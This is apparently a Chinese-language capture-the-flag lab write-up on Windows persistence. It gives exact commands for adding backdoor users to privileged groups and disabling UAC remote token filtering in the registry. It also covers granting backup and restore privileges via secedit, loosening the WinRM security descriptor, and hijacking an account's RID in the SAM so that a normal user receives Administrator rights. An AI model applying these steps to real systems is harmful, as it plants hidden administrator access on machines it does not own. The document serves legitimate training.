组成员资格

最简单的方法就是让我们成为 **<font style="color:#DF2A3F;">Administrator</font>**组成员:

  1. C:\> net localgroup administrators thmuser0 /add

执行后我们就可以使用 RDP、WinRM 或任何其他可用的远程管理服务来访问服务器

但是这样很容易被发现,所以我们通常使用 **<font style="color:#DF2A3F;">Backup Operators</font>**

  1. C:\> net localgroup "Backup Operators" thmuser1 /add

因为这并不是一个特权账户,所以我们还需要将其添加到 RDP 或者 WinRM组中,以实现远程访问

  1. C:\> net localgroup "Remote Management Users" thmuser1 /add

但是连接后还有一个问题,就是当我们连接后我们并不能查看所有的文件,并且检测权限是该组已被禁止

  1. user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
  2. *Evil-WinRM* PS C:\> whoami /groups
  3. GROUP INFORMATION
  4. -----------------
  5. Group Name Type SID Attributes
  6. ====================================== ================ ============ ==================================================
  7. Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
  8. BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
  9. BUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny only
  10. BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
  11. NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
  12. NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
  13. NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
  14. NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
  15. NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
  16. Mandatory Label\Medium Mandatory Level Label S-1-16-8192

这是因为 UAC 的存在, UAC 中 **<font style="color:#DF2A3F;">LocalAccountTokenFilterPolicy</font>** 会在远程登陆时剥夺任何本地账户的管理权限,所以我们需要修改相应的注册表项

  1. C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

一旦设置成功我们就可以使用我们的用户了

  1. user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
  2. *Evil-WinRM* PS C:\> whoami /groups
  3. GROUP INFORMATION
  4. -----------------
  5. Group Name Type SID Attributes
  6. ==================================== ================ ============ ==================================================
  7. Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
  8. BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
  9. BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
  10. BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
  11. NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
  12. NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
  13. NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
  14. NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
  15. NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
  16. Mandatory Label\High Mandatory Level Label S-1-16-12288

然后就是将 SAM 和 SYSTEM 文件转储到本地进行查看

特殊权限和描述符

:::info

无需修改任何组成员资格即可获得与将用户添加到 Backup Operators 组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定的权限。特权只是在系统本身上执行任务的能力。它们包括简单的事情,例如具有关闭服务器的能力,直到非常特权的操作,例如能够取得系统上任何文件的所有权。可在此处找到可用权限的完整列表以供参考。

:::

对于 <font style="color:rgb(33, 37, 41);">Backup Operators</font>组,它默认分配以下两个权限:
  • SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何 DACL。
  • SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何 DACL。
我们可以尝试将此特权分配给其他用户,而不管他们的组成员身份时什么,首先我们应当导出配置文件:
  1. secedit /export /cfg config.inf
我们打开文件并将我们的用户添加到配置中有关 SeBackupPrivilege 和 SeRestorePrivilege 的行:

非特权账户 - 图1

我们最终将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统:
  1. secedit /import /cfg config.inf /db config.sdb
  2. secedit /configure /db config.sdb /cfg config.inf
您现在应该拥有一个与任何备份操作员具有同等权限的用户。用户仍然无法通过 WinRM 登录系统,所以让我们做点什么。我们不会将用户添加到 Remote Management Users 组,而是更改与 WinRM 服务关联的安全描述符以允许 thmuser2 进行连接。 要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(为此您需要使用 GUI 会话):
  1. Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

非特权账户 - 图2

:::info

完成此操作后,我们的用户可以通过 WinRM 进行连接。由于用户具有 SeBackup 和 SeRestore 权限,我们可以重复这些步骤从 SAM 恢复密码哈希并与管理员用户重新连接。 请注意,要让此用户完全使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项

:::

RID 劫持

:::tips

创建用户时,会为他们分配一个称为相对 ID (RID)的标识符。RID 只是一个代表整个系统用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 将管理员访问令牌分配给非特权用户。

在任何 Windows 系统中,默认的 Administrator 帐户被分配RID = 500,而普通用户通常RID >= 1000

:::

  1. C:\> wmic useraccount get name,sid
  2. Name SID
  3. Administrator S-1-5-21-1966530601-3185510712-10604624-500
  4. DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
  5. Guest S-1-5-21-1966530601-3185510712-10604624-501
  6. thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008
  7. thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
  8. thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010

现在我们需要将 RID=500分配给 thmuser3, 因此我们需要 使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit

  1. C:\tools\pstools> PsExec64.exe -i -s regedit
从 Regedit 中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\机器中每个用户都有一个密钥的地方。由于我们要修改 thmuser3,因此我们需要搜索其 RID 为十六进制 (1010 = 0x3F2) 的密钥。在相应的键下,会有一个名为F的值,它在位置 0x30 处保存用户的有效 RID:

非特权账户 - 图3

请注意,RID 是使用小尾数法存储的,因此它的字节显示为颠倒的。 我们现在将用十六进制的管理员 RID (500 = 0x01F4) 替换这两个字节,切换字节 (F401):

非特权账户 - 图4

thmuser3 下次登录时,LSASS 会将其关联到与 Administrator 相同的 RID,并授予他们相同的权限。